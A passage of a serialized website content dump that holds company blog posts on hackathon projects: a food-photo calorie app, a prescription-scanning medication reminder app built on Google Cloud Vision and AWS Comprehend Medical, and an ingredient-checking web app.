body.",[4918,4950,4952,4941,4956,4930],{"id":4951},"httpsatlasbiomedcomblogbest-food-diary-guide-2020",[438,4953],{"className":4954,"alt":66,"src":4955,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085234\u002Ffood_diary-1024x589.png",[55,4957,4958],{"href":4958,"rel":4959},"https:\u002F\u002Fatlasbiomed.com\u002Fblog\u002Fbest-food-diary-guide-2020\u002F",[59],[11,4961,4962],{},"Today, under the rapid development of technology, especially AI (Artificial Intelligence) technology, its application for daily life is an inevitable trend. And applying it to Fitness\u002FHealthcare is no exception.",[11,4964,4965],{},"The above is the main idea for our team to develop the Calories Showing app. The function of the app is that from the food image taken with the phone camera, it will tell you the calories of that food, thereby helping you to adjust your calorie intake.",[395,4967,4969],{"id":4968},"calories-showing-app","Calories Showing app",[565,4971,4973],{"id":4972},"technologies",[51,4974,4975],{},[20,4976,4977],{},"Technologies",[438,4979],{"className":4980,"alt":66,"src":4981,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085454\u002FCaloriesShowingFlowWithoutModel-1024x549.png",[11,4983,4984],{},"To facilitate use on both computer and mobile devices, my team decided to build a WebApp using Javascript (NodeJS) language. In addition, we use MySQL to store calorie data, as well as to facilitate further development of functions (for example, saving user information).",[11,4986,4987],{},"To make it easier to deploy, as well as easy to extend later, we also use Docker for the WebApp, MySQL parts.",[11,4989,4990],{},[51,4991,4992],{},"Google Cloud Vision",[11,4994,4995],{},"The Google Cloud Vision API offers powerful pre-trained machine learning models through REST API. Help developers easily integrate into their applications features such as object detection, face recognition, image recognition, classification, labeling and text extraction of printed text or handwritten text.",[11,4997,4998],{},"In the project we use 2 functions provided by Google Cloud Vision API:",[31,5000,5001,5004],{},[34,5002,5003],{},"Label Detection: detect and extract information about entities in an image, across a group of categories.",[34,5005,5006],{},"Object Localization: detect and extract multiple objects in an image",[11,5008,5009],{},"From the results returned from Google Cloud Vision and the data collected from the database, the system will return the calories of that food to the user.",[11,5011,5012],{},"Price list of Google Cloud Vision",[438,5014],{"className":5015,"alt":66,"src":5016,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085636\u002FGoogleCloudVisonPricing-1024x212.png",[11,5018,5019],{},"Suitable for small projects with a small number of users. As the number of users becomes bigger, the amount of money to pay becomes larger.",[11,5021,5022],{},"=> Therefore, should not be too dependent on the Google Cloud Vision but need an alternative solution (will be presented in the following section)",[565,5024,5026],{"id":5025},"user-interface-and-functions-of-the-app",[51,5027,5028],{},[20,5029,5030],{},"User Interface and functions of the app",[11,5032,5033,5037],{},[438,5034],{"className":5035,"alt":66,"src":5036,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104155\u002FIMG_1926-576x1024.png"," Choose a image from your phone or a image taken from your phone camera",[11,5039,5040,5044],{},[438,5041],{"className":5042,"alt":66,"src":5043,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104305\u002FIMG_1927-576x1024.png"," From the selected image, the AI will detect the food you have taken, in addition, you can also manually enter the missing food",[11,5046,5047,5051],{},[438,5048],{"className":5049,"alt":66,"src":5050,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104414\u002FIMG_1928-576x1024.png"," Finally, the result screen, you can enter the amount of each food so that the system calculates the calories",[395,5053,5055],{"id":5054},"unresolved-issues-and-future-development-directions",[20,5056,5057],{},"Unresolved issues and future development directions",[565,5059,5061],{"id":5060},"low-accuracy",[51,5062,5063],{},[20,5064,5065],{},"Low accuracy",[11,5067,5068],{},"Google Vision's detection dataset is wide but not in-depth for food, so the accuracy is low.",[438,5070],{"className":5071,"alt":66,"src":5072,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085802\u002Flow_precision-1024x519.png",[11,5074,5075],{},"For example, for the Kiwi fruit image, the results returned by Google Cloud Vision are very general: Fruit and Food.",[11,5077,5078],{},"To improve accuracy, the following solutions are available:",[31,5080,5081,5084],{},[34,5082,5083],{},"Replace Google Cloud Vision with food-specific AI API services such as FoodAI, LogMeal API, .. The advantage is higher accuracy, similar ease of use to Google Cloud Vision. The downside is the high price and depending on the API provider, it is not possible to add new training data for other foods.",[34,5085,5086],{},"Build and train our own food-specific Deep Learning model. The advantage is high accuracy, take control in technology, so we can manually add new training data for foods depending on needs. The disadvantage is that it takes time to research the most optimal model, it is necessary to have large enough datasets (labeled image data) to get high accuracy.",[11,5088,5089],{},"=> After discussion and deliberation, we decided to choose a combination of solutions: Build and train a food-specific Deep Learning model (Python, Tensorflow), along with that using Google Cloud Vision in parallel.",[438,5091],{"className":5092,"alt":66,"src":5093,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085845\u002FCaloriesShowingFlow-1024x549.png",[31,5095,5096,5099,5102,5105],{},[34,5097,5098],{},"Partially reduced costs for Google Cloud Vision API",[34,5100,5101],{},"Overcoming the initial limitation of the self-built model is that the accuracy is not high because the datasets are small and the optimal model has not been found.",[34,5103,5104],{},"Separate the Deep Learning model building into a separate part, so as not to affect the building of additional features of the app.",[34,5106,5107],{},"Once the self-built Deep Learning model has achieved the desired accuracy, we will remove Google Cloud Vision from the project flow.",[565,5109,5111],{"id":5110},"determine-calories-depending-on-the-database",[51,5112,5113],{},[20,5114,5115],{},"Determine calories depending on the database",[11,5117,5118],{},"In case the food is not in the database, there is no way to select it (including manual input).",[11,5120,5121],{},"Solution: In case it is not detected, display a dialog asking the users if they want to use the uploaded image to help add it to the app's database => If the user agrees, then proceed to save the image that the user has used to storage, from that image we will collect data about calories to save to the database, and collect datasets to train the Deep Learning model.",[565,5123,5125],{"id":5124},"future-development-directions",[51,5126,5127],{},[20,5128,5129],{},"Future development directions",[11,5131,5132],{},"1\u002F Build more features to become a complete app. Additional features are expected to develop: register, log in, calculate the number of calories needed per day, low or over calories warning, plan to gain\u002Flose weight,...",[11,5134,5135],{},"2\u002F Improve AI accuracy, build and optimize Deep Learning model.",[11,5137,5138],{},"Therefore, our team will be divided into 2 small teams. The team in charge of developing features for the app and the team building and optimizing the Deep Learning model.",[395,5140,2891],{"id":2890},[11,5142,5143],{},[55,5144,4928],{"href":4928,"rel":5145},[59],[11,5147,5148],{},[55,5149,5150],{"href":5150,"rel":5151},"https:\u002F\u002Fcloud.google.com\u002Fvision",[59],[395,5153,5155],{"id":5154},"presentation","Presentation",[11,5157,5158],{},[55,5159,5160],{"href":5160,"rel":5161},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1F0p0vCxMiBaihVrDw84mTekzyq9bF2fz\u002Fedit?usp=sharing&ouid=103973922645801568163&rtpof=true&sd=true",[59],{"title":66,"searchDepth":67,"depth":67,"links":5163},[5164,5165,5166,5167,5168],{"id":4972,"depth":1306,"text":4977},{"id":5025,"depth":1306,"text":5030},{"id":5060,"depth":1306,"text":5065},{"id":5110,"depth":1306,"text":5115},{"id":5124,"depth":1306,"text":5129},[3347,1318],"NGHIA NGHUYEN TRUNG","2023-03-22","Today the world faces a double burden of nutrition including both undernutrition and obesity. In particular, the rate of obesity is increasing very rapidly. Recent data show that since 1975 obesity has nearly tripled and it now accounts for 4 million deaths worldwide every year. In 2016, over 2 billion adults (44 percent) were overweight or obese. (https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling)",{},"\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an",{"title":4912,"description":5172},"news\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20143340\u002Fcalories_showing_featured_image.png","aMcjc9bfG_74nvhr6yU4I7zMdNeEc_023bXw5zSEV8I",{"id":5180,"title":5181,"body":5182,"category":5694,"created by":70,"date":5695,"description":5696,"extension":72,"meta":5697,"navigation":74,"path":5698,"sections":76,"seo":5699,"stem":5700,"thumbnail":5701,"__hash__":5702},"content_en\u002Fnews\u002Fhackathon-team3.md","[Hackathon] Introduction to Easy Medicine App - Team Healthy Healthier",{"type":8,"value":5183,"toc":5682},[5184,5191,5196,5260,5264,5267,5270,5287,5293,5297,5300,5303,5306,5309,5326,5330,5333,5337,5340,5354,5363,5374,5380,5384,5387,5391,5394,5402,5405,5413,5419,5423,5426,5430,5433,5437,5443,5446,5468,5471,5477,5483,5506,5511,5531,5540,5544,5550,5555,5574,5579,5600,5604,5624,5628,5631,5645,5649,5655,5659],[11,5185,5186,5187,5190],{},"Nowadays, many app has been created to make our daily tasks become simpler and more efficient. One of the most competitive features among apps is automation. That is, humans will only do the minimum of operations and leave the rest to the application. Since Artificial Intelligence - AI has become more and more popular, automation is now everywhere, and at the same time, it has also opened up a lot of possibilities. ",[20,5188,5189],{},"Easy Medicine"," is also an application built on AI technology and it helps to automate medication management.",[11,5192,5193],{},[20,5194,5195],{},"Table of contents:",[203,5197,5198,5204,5210,5216,5222,5228,5234,5240,5246,5251],{},[34,5199,5200],{},[55,5201,5203],{"href":5202},"#section-1","What problems does EasyMedicine solve?",[34,5205,5206],{},[55,5207,5209],{"href":5208},"#section-2","How does AI technology participate in our app?",[34,5211,5212],{},[55,5213,5215],{"href":5214},"#section-3","Google Cloud Vision introduction",[34,5217,5218],{},[55,5219,5221],{"href":5220},"#section-4","AWS Comprehend Medical introduction",[34,5223,5224],{},[55,5225,5227],{"href":5226},"#section-5","App's system design",[34,5229,5230],{},[55,5231,5233],{"href":5232},"#section-6","Demo Easy Medicine",[34,5235,5236],{},[55,5237,5239],{"href":5238},"#section-7","Future features and functions",[34,5241,5242],{},[55,5243,5245],{"href":5244},"#section-8","App limitations",[34,5247,5248],{},[55,5249,4818],{"href":5250},"#section-9",[34,5252,5253,5257],{},[55,5254,5256],{"href":5255},"#section-10","Links & references",[55,5258],{"id":5259},"section-1",[565,5261,5263],{"id":5262},"_1-what-problems-does-easymedicine-solve","#1. What problems does EasyMedicine solve?",[11,5265,5266],{},"If you are a healthy person, you might wonder why would you ever need a medication management app. But if you put yourself in the situation of being a person who suffering from many different diseases, then you will see it differently. Even if you can control your schedules well and always take your medicine on time, isn't it very easy to make you feel annoying that you have to remember all those schedules. Meanwhile, everything can be completely controlled with an application. And you can now focus on things that are more important. There is also a situation that highlights the problem clearly, and that is someone who is taking care of many sick people - a mother, for example. Also, we will sometimes forget to take our medicine, especially when the disease is in remission, we will become lazy. And as a result, it negatively affects our health.",[11,5268,5269],{},"More specifically, we need a tool to help manage the following:",[31,5271,5272,5275,5278,5281,5284],{},[34,5273,5274],{},"What time should you take your medicine today, what are drugs, dosages?",[34,5276,5277],{},"To avoid forgetting to take the medicine, we need reminders alarm.",[34,5279,5280],{},"What medicines did you take or forget to take today?",[34,5282,5283],{},"How long do you need to take the medicine, how many more pills?",[34,5285,5286],{},"Store prescription information for easy lookup and reuse.",[11,5288,5289,5290],{},"And the above are the core ideas that form the Easy Medicine app.\n",[55,5291],{"id":5292},"section-2",[565,5294,5296],{"id":5295},"_2-how-does-ai-technology-participate-in-our-app","#2. How does AI technology participate in our app?",[11,5298,5299],{},"As analyzed in the above section, you now understand why we need an application to help managing medicines list and reminding to take medicines on time.",[11,5301,5302],{},"To make the app functions as easy to use as possible. We need the processes to be automated. Creating a list of drugs must be done with in one operation from the user.",[11,5304,5305],{},"Specifically, the user will take a picture of her\u002Fhis prescription, then the prescription will be scanned and a list of medicines to take will be generated (with specific dosage information). At the same time, the app will automatically schedule the alarms for taking medicines.",[11,5307,5308],{},"Thus, everything will be completed just by taking a photo. And AI technologies will make it possible:",[31,5310,5311,5317],{},[34,5312,5313,5316],{},[20,5314,5315],{},"Computer Vision:"," An AI technology that allows to distinguish objects in a frame. In this case, we need to extract the raw text of the prescription in the image that the user has taken. The Google Cloud Vision API is the tool that will be used.",[34,5318,5319,5322,5323],{},[20,5320,5321],{},"Natural Language Processing (NLP):"," A branch of artificial intelligence within computer science that focuses on helping computers to understand the way that humans write and speak. This is a difficult task because it involves a lot of unstructured data. Since the content will be prescriptions, the selected AI needs to be trained using medical data. AWS Comprehend Medical is a suitable service in this case.\n",[55,5324],{"id":5325},"section-3",[565,5327,5329],{"id":5328},"_3-google-cloud-vision-api-introduction","#3. Google Cloud Vision API introduction:",[11,5331,5332],{},"An API provided by Google. Its advantages come from high processing speed and accuracy, ease of use and has been trained with a huge amount of image data. The extracting text (Detect text) feature from images can handle both typed and handwritten text, also, it works well with many different languages.",[438,5334],{"className":5335,"alt":66,"src":5336,"style":506},[441,442],"https:\u002F\u002Fcloud.google.com\u002Fstatic\u002Fvision\u002Fdocs\u002Fimages\u002Fsign_text.png",[11,5338,5339],{},"Service regions:",[31,5341,5342,5348],{},[34,5343,5344,5347],{},[612,5345,5346],{},"us",": USA country only",[34,5349,5350,5353],{},[612,5351,5352],{},"eu",": The European Union",[11,5355,5356,5357,5362],{},"Service pricing (",[55,5358,5361],{"href":5359,"rel":5360},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fpricing",[59],"Pricing - Cloud Vision API","):",[31,5364,5365,5368,5371],{},[34,5366,5367],{},"Google will charge a monthly fee based on the number of images processed. Each image will be counted as 1 unit.",[34,5369,5370],{},"They charge you differently depends which tiers you're in. For the EasyMedicine app we stay below 5,000,000 units\u002Fmonth. At this tier, it will cost 1.5 USD per 1000 units.",[34,5372,5373],{},"For example, every month the application processes 10000 images, then the total amount will be 15USD.",[11,5375,5376,5377],{},"With a fee of 1.5 USD per 1000 units, it is quite expensive. Hopefully, in the future we will be able to find a service with a better price, maybe the service is located in another region and the price will be cheaper.\n",[55,5378],{"id":5379},"section-4",[565,5381,5383],{"id":5382},"_4-aws-comprehend-medical-introduction","#4. AWS Comprehend Medical introduction",[11,5385,5386],{},"As an AI service of AWS (Amazon Web Service) NLP (Natural Language Processing), this API takes text as input and returns the extracted medical related information. Because it has been trained with a large amount of medical data, the accuracy of the results is quite high - a very important factor in this application because it directly affects the user's health. Because it is an AWS service, there are many regions where the service is located. Therefore, the response speed is also very optimal.",[438,5388],{"className":5389,"alt":66,"src":5390,"style":444},[441,442],"https:\u002F\u002Fd2908q01vomqb2.cloudfront.net\u002Fda4b9237bacccdf19c0760cab7aec4a8359010b0\u002F2018\u002F11\u002F27\u002Fmedicalcomprehend_updated.png",[11,5392,5393],{},"Although the information that this AI is able to recognize is quite diverse, we only need to focus on information such as:",[31,5395,5396,5399],{},[34,5397,5398],{},"Drug information: drug name, drug dosage.",[34,5400,5401],{},"Time information.",[11,5403,5404],{},"Service maintenance cost (Amazon Comprehend – Pricing):",[31,5406,5407,5410],{},[34,5408,5409],{},"Every 100 characters = 1 unit. There are different tiers, but EasyMedicine will stay below 10 million units.",[34,5411,5412],{},"At 10 million units tier, the fee per unit is $0.0001USD. For example, if you need to process 10,000 prescriptions per month, and each prescription will have an average of 500 characters, the fee will be 10000*5*0.0001  = 5 USD.",[11,5414,5415,5416],{},"This is a pretty optimal price.\n",[55,5417],{"id":5418},"section-5",[565,5420,5422],{"id":5421},"_5-apps-system-design","#5. App's system design",[11,5424,5425],{},"Below is the system design diagram of Easy Medicine:",[438,5427],{"className":5428,"alt":66,"src":5429,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07112836\u002Fhac.drawio.png",[11,5431,5432],{},"To better understand the above diagram, let's see the application flow: First, when the user inputs a picture of a prescription taken\u002Fuploaded, this image will be sent to the server. The server will now call the Google Vision API by sending the base64 encode of the uploaded image. Google will process and return the entire text content extracted from the image. For instance, this prescription:",[438,5434],{"className":5435,"alt":66,"src":5436,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07134621\u002FScreenshot-2023-03-02-103445.png",[605,5438,5441],{"className":5439,"code":5440,"language":610},[608],"{\n\n    \"Entities\": \\[\n\n        {\n\n            \"Id\": 1,\n\n            \"BeginOffset\": 0,\n\n            \"EndOffset\": 27,\n\n            \"Score\": 0.982366681098938,\n\n            \"Text\": \"Erythromycin ethylsuccinate\",                     \u002F\u002F Medication name\n\n            \"Category\": \"MEDICATION\",\n\n            \"Type\": \"GENERIC\\_NAME\",\n\n            \"Traits\": \\[\\],\n\n            \"Attributes\": \\[\n\n                {\n\n                    \"Type\": \"STRENGTH\",\n\n                    \"Score\": 0.8039610385894775,\n\n                    \"RelationshipScore\": 0.9956788420677185,\n\n                    \"RelationshipType\": \"STRENGTH\",\n\n                    \"Id\": 2,\n\n                    \"BeginOffset\": 28,\n\n                    \"EndOffset\": 37,\n\n                    \"Text\": \"400mg\u002F5ml\",                                        \u002F\u002F Dosage\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                },\n\n                {\n\n                    \"Type\": \"FREQUENCY\",\n\n                    \"Score\": 0.2624519169330597,\n\n                    \"RelationshipScore\": 0.999884843826294,\n\n                    \"RelationshipType\": \"FREQUENCY\",\n\n                    \"Id\": 3,\n\n                    \"BeginOffset\": 46,\n\n                    \"EndOffset\": 55,\n\n                    \"Text\": \"tsp.q.i.d\",                                           \u002F\u002F Frequency\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                }\n\n            \\]\n\n        }\n\n    \\]\n\n}\n",[612,5442,5440],{"__ignoreMap":66},[11,5444,5445],{},"Comparing the JSON result to the original input image. We can see how the AI uses the predefined structures for the information extracted from the prescription. With this JSON data, the application then re-process it to generate the medicines list. Specifically, we will focus on handling the following attributes:",[31,5447,5448,5455,5462],{},[34,5449,5450,5451,5454],{},"Type is ",[612,5452,5453],{},"BRAND_NAME or``GENERIC_NAME",":  this is the medicine name.",[34,5456,5457,5458,5461],{},"Type is  ",[612,5459,5460],{},"DOSAGE or STRENGTH",": this is the medicine dosage.",[34,5463,5450,5464,5467],{},[612,5465,5466],{},"FREQUENCY",": this data is crucial for creating a schedule to take medicine.",[11,5469,5470],{},"From the extracted information, we need to process that information to create a list of medicine and a schedule:",[11,5472,5473,5476],{},[20,5474,5475],{},"Medicine name",": It's easiest to obtain because it is not abstract data. As long as the data exists in the AWS database there wouldn't be any problem.",[11,5478,5479,5482],{},[20,5480,5481],{},"Dosage:"," Because there will be more than one DOSAGE attributes returned. We need to distinguish what is the actual dose of the drug, and what is the amount to take at a time.",[31,5484,5485,5500],{},[34,5486,5487,5490,5491,5496,5497],{},[612,5488,5489],{},"The medicine dosage"," will usually come in units of mass\u002Fvolume of the drug. Such as 100mg or 400ml. Using the following Regex (",[55,5492,5495],{"href":5493,"rel":5494},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FJavaScript\u002FGuide\u002FRegular_Expressions",[59],"Regular Expression","), we can easily extract the drug dosage: ",[612,5498,5499],{},"\u002F([0-9]+)( ?)(mg|ml)\u002F",[34,5501,5502,5505],{},[612,5503,5504],{},"The amount to take at a time"," can be in the form of a mass (50mg) or it can also be in the form of words (1 tablet, one vial, ...). The method to extract this data will also be the same as above.",[11,5507,5508],{},[20,5509,5510],{},"Medication schedule:",[31,5512,5513,5522],{},[34,5514,5515,5518,5519],{},[612,5516,5517],{},"Time to take medicine in the form of [pharmacy abbreviations code](https:\u002F\u002Fpharmacytechniciantoday.com\u002Fpharmacy-abbreviations-sig-codes\u002F):"," for example, a presence of q.i.d on the prescription is equivalent to Four times a day. This means that the application will schedule alarms to take medicine 4 times a day. ",[612,5520,5521],{},"In the morning (7:00 AM), lunch (13:00 PM), afternoon (18:00 PM), evening (21:00 PM).",[34,5523,5524,5527,5528],{},[612,5525,5526],{},"Time to take medicine in the form of timeline:"," The application needs to schedule a medication appointment to match the time described. This form will have a diversely of cases. For example Before breakfast (every morning at 7:00 AM) or Twice a day (morning - 7:00 AM, noon 13:00 PM). To be able to convert from timeline to a specific schedule. We can use Regex, such as: ",[612,5529,5530],{},"\u002F(every|each|after|before) (breakfast|lunch|dinner|meal)\u002F",[11,5532,5533,5534,5537],{},"The final step is to schedule a time to take the medication. Based on the created list, the system will send push notification to the user's phone. ",[51,5535,5536],{},"This allows them to take their medicine on time and with the correct amount.",[55,5538],{"id":5539},"section-6",[565,5541,5543],{"id":5542},"_6-demo-easy-medicine","#6. Demo Easy Medicine",[11,5545,5546],{},[55,5547,5548],{"href":5548,"rel":5549},"https:\u002F\u002Fyoutu.be\u002F5f4G10TW9Ko",[59],[11,5551,5552],{},[20,5553,5554],{},"Home Screen:",[31,5556,5557,5560,5563],{},[34,5558,5559],{},"The main feature of this screen is to control your medication schedule.",[34,5561,5562],{},"It's list the medicines that are grouped by timeline to instruct the user to take them on time and with the right dosage.",[34,5564,5565,5566,5569,5570,5573],{},"When the status of the drug turns ",[612,5567,5568],{},"gray"," with and has an ⚠️ icon, it means that the user has forgot to take the medicine. To confirm that you have taken that medicine on time, the user needs to click on it (or click Check all), then the status will turn ",[612,5571,5572],{},"green"," with a ✅ icon.",[11,5575,5576],{},[20,5577,5578],{},"Medications Screen:",[31,5580,5581,5584,5591,5594],{},[34,5582,5583],{},"The main feature of this screen is to control the medicines list and medicines information.",[34,5585,5586,5587,5590],{},"User can manually enter the drug to be taken by entering the fields in the ",[20,5588,5589],{},"Manual"," section.",[34,5592,5593],{},"Or user can take a picture of a prescription, and the system will automatically add a list of medicines to take with a schedule based on the information found on the prescription.",[34,5595,5596,5597],{},"If the list created from the photo is incorrect, the user can manually edit or delete it.\n",[55,5598],{"id":5599},"section-7",[565,5601,5603],{"id":5602},"_7-future-features-and-functions","#7. Future features and functions",[31,5605,5606,5609,5612,5615,5618],{},[34,5607,5608],{},"Support more languages: When taking a picture of a prescription, the application automatically processes the information. But currently, this feature only works when the prescription is in English. With other languages such as Vietnamese, Japanese, the application cannot handle it yet.",[34,5610,5611],{},"Save prescriptions for reuse: To make it easier to manage, we need to group medicines under a specific prescription. Also, in the future we may get same disease again, it would be much easier if we already have a prescription.",[34,5613,5614],{},"Online order medicine directly on the App: combined with the created prescription, users might no longer need to go to the pharmacy to buy medicine. Just order medicine through the app. The benefit of this is not only convenience, because if we can guarantee the origin and quality of the drug, as well as the price, then users will always feel secure when taking the medicine ordered through our application.",[34,5616,5617],{},"Extract the total amount\u002Ftotal number of days to take a certain drug: Most prescriptions have this information, such as 10 pills in total. Or the total number of days is 7 days.",[34,5619,5620,5621],{},"Custom time setting feature: For each person, the time to take medicine is very diverse. So we can let users set their own time according to their habits.\n",[55,5622],{"id":5623},"section-8",[565,5625,5627],{"id":5626},"_8-app-limitations","#8. App limitations",[11,5629,5630],{},"Most of the limitations of the application lies in the ability to automatically generate data from the user's photos. Specifically, it is lacking in points such as:",[31,5632,5633,5636,5639],{},[34,5634,5635],{},"Only English-language prescriptions can be processed.",[34,5637,5638],{},"AWS Comprehend Medical could also missing some information on the prescription if their database doesn't have the related data. For instance, it's a new medicine brand\u002Fproduct so the data is not exist.",[34,5640,5641,5642],{},"It is not possible to understand all cases of schedule information. Because the time schedule for taking the medication is inferred by the application from the information in the prescription. There will be cases where it has not been programmed to handle.\n",[55,5643],{"id":5644},"section-9",[565,5646,5648],{"id":5647},"_9-summary","#9. Summary",[11,5650,5651,5652],{},"Easy Medicine is an idea that can be considered quite practical and useful. Its feature takes advantage of AI technology so it's very easy to use. Hopefully in the future, this application can actually be deployed and operate.\n",[55,5653],{"id":5654},"section-10",[565,5656,5658],{"id":5657},"_10-links-references","#10. Links & references",[31,5660,5661,5668,5675],{},[34,5662,5663],{},[55,5664,5667],{"href":5665,"rel":5666},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fdocs\u002Focr",[59],"Detect text in images  |  Cloud Vision API  |  Google Cloud",[34,5669,5670],{},[55,5671,5674],{"href":5672,"rel":5673},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fcomprehend-medical\u002Flatest\u002Fdev\u002Ftextanalysis-entitiesv2.html",[59],"Detect entities (Version 2) - Amazon Comprehend Medical",[34,5676,5677],{},[55,5678,5681],{"href":5679,"rel":5680},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1Peh_iNryPLe-GqyxT4PYScGQ-3HfstXM\u002Fedit#slide=id.g21397e526fe_2_0",[59],"File trình chiếu - EasyMedicine",{"title":66,"searchDepth":67,"depth":67,"links":5683},[5684,5685,5686,5687,5688,5689,5690,5691,5692,5693],{"id":5262,"depth":1306,"text":5263},{"id":5295,"depth":1306,"text":5296},{"id":5328,"depth":1306,"text":5329},{"id":5382,"depth":1306,"text":5383},{"id":5421,"depth":1306,"text":5422},{"id":5542,"depth":1306,"text":5543},{"id":5602,"depth":1306,"text":5603},{"id":5626,"depth":1306,"text":5627},{"id":5647,"depth":1306,"text":5648},{"id":5657,"depth":1306,"text":5658},[3347,1318],"2023-03-03","Nowadays, many app has been created to make our daily tasks become simpler and more efficient. One of the most competitive features among apps is automation. That is, humans will only do the minimum of operations and leave the rest to the application. Since Artificial Intelligence - AI has become more and more popular, automation is now everywhere, and at the same time, it has also opened up a lot of possibilities.",{},"\u002Fnews\u002Fhackathon-team3",{"title":5181,"description":5696},"news\u002Fhackathon-team3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20134143\u002F336245884_743305260576068_3192087576342334151_n-2048x694.png","lggMMkfoBdOwMzxLOyv6tBbVM8szKseT9JQe0bl8Wmc",{"id":5704,"title":5705,"body":5706,"category":5868,"created by":70,"date":5171,"description":5714,"extension":72,"meta":5869,"navigation":74,"path":5870,"sections":76,"seo":5871,"stem":5872,"thumbnail":5873,"__hash__":5874},"content_en\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker.md","[Hackathon] IngredientChecker Application",{"type":8,"value":5707,"toc":5859},[5708,5712,5715,5718,5720,5725,5728,5733,5736,5741,5744,5749,5752,5755,5759,5776,5780,5788,5792,5806,5810,5830,5834,5837,5841,5844,5852],[403,5709,5711],{"id":5710},"about-ingredientchecker","About IngredientChecker",[11,5713,5714],{},"In the era of the 4th Industrial Revolution, many consumers have begun using technology to improve their quality of life. Health is the top priority, and nowadays there are many different products appearing worldwide in various categories such as skincare, functional foods, drugs, etc. However, most of them contain chemical ingredients that the majority of ordinary users are not familiar with regarding their functions or side effects. IngredientChecker was created to help solve this problem.",[11,5716,5717],{},"Now let's take a closer look at the application.",[403,5719,4977],{"id":4972},[11,5721,5722],{},[20,5723,5724],{},"NodeJs",[11,5726,5727],{},"A popular platform, powerful features suitable for a cross-platform application.",[11,5729,5730],{},[20,5731,5732],{},"Google cloud vision (GCV)",[11,5734,5735],{},"The Google Cloud Vision API provides the ability to accurately recognize text and images based on pre-trained AI models by Google. It's very easy to integrate into a product for further development. We integrated GCV to identify ingredients on product labels. GCV provides fast and accurate recognition speed.",[11,5737,5738],{},[20,5739,5740],{},"OpenAI",[11,5742,5743],{},"Integrating the ChatGPT API helps improve accuracy by allowing OpenAI to identify the chemical components in text content. It also helps eliminate unnecessary text.",[11,5745,5746],{},[20,5747,5748],{},"Progressive Web App (PWA)",[11,5750,5751],{},"Progressive Web App (PWA) is integrated so that users can install the app directly from the website. It gives users the feeling of using a Native app that we install from the Google Play Store or App Store.",[11,5753,5754],{},"The advantage is that it has a short development time, and there's no need to code separate versions for the web and mobile apps.",[403,5756,5758],{"id":5757},"the-main-features-of-the-application","The main features of the application",[31,5760,5761,5764,5767,5770,5773],{},[34,5762,5763],{},"Image retrieval from camera, photo library, or other storage options such as iCloud or Google Drive",[34,5765,5766],{},"Text recognition from the \"ingredient\" information on product labels",[34,5768,5769],{},"Search and filter relevant information such as usage and side effects",[34,5771,5772],{},"Data information is only stored in device memory, no information will be stored on the server",[34,5774,5775],{},"Support EN - VI languages",[403,5777,5779],{"id":5778},"target-audience","Target audience",[31,5781,5782,5785],{},[34,5783,5784],{},"Regular users of skincare products or other products such as medicines, nutrifood , who need to pay attention to the ingredients of the product to consider whether to use it or not",[34,5786,5787],{},"People who are sensitive to chemical ingredients, need to research ingredients to avoid side effects",[403,5789,5791],{"id":5790},"benefits","Benefits",[31,5793,5794,5797,5800,5803],{},[34,5795,5796],{},"Quickly search data on each ingredient on the product label",[34,5798,5799],{},"Data is stored on the user's device, can be viewed at any time",[34,5801,5802],{},"The application supports on most devices",[34,5804,5805],{},"User-friendly interface, easy to use",[403,5807,5809],{"id":5808},"new-features-for-the-next-version","New features for the next version",[31,5811,5812,5815,5818,5821,5824,5827],{},[34,5813,5814],{},"Support multiple languages",[34,5816,5817],{},"Manage users through allowing account login",[34,5819,5820],{},"Support product search on the market with the best price",[34,5822,5823],{},"Improve search function, results with high accuracy and performance",[34,5825,5826],{},"Recognize more format types from various products",[34,5828,5829],{},"Feature to synthesize reviews about the product from many different selling websites, to see the 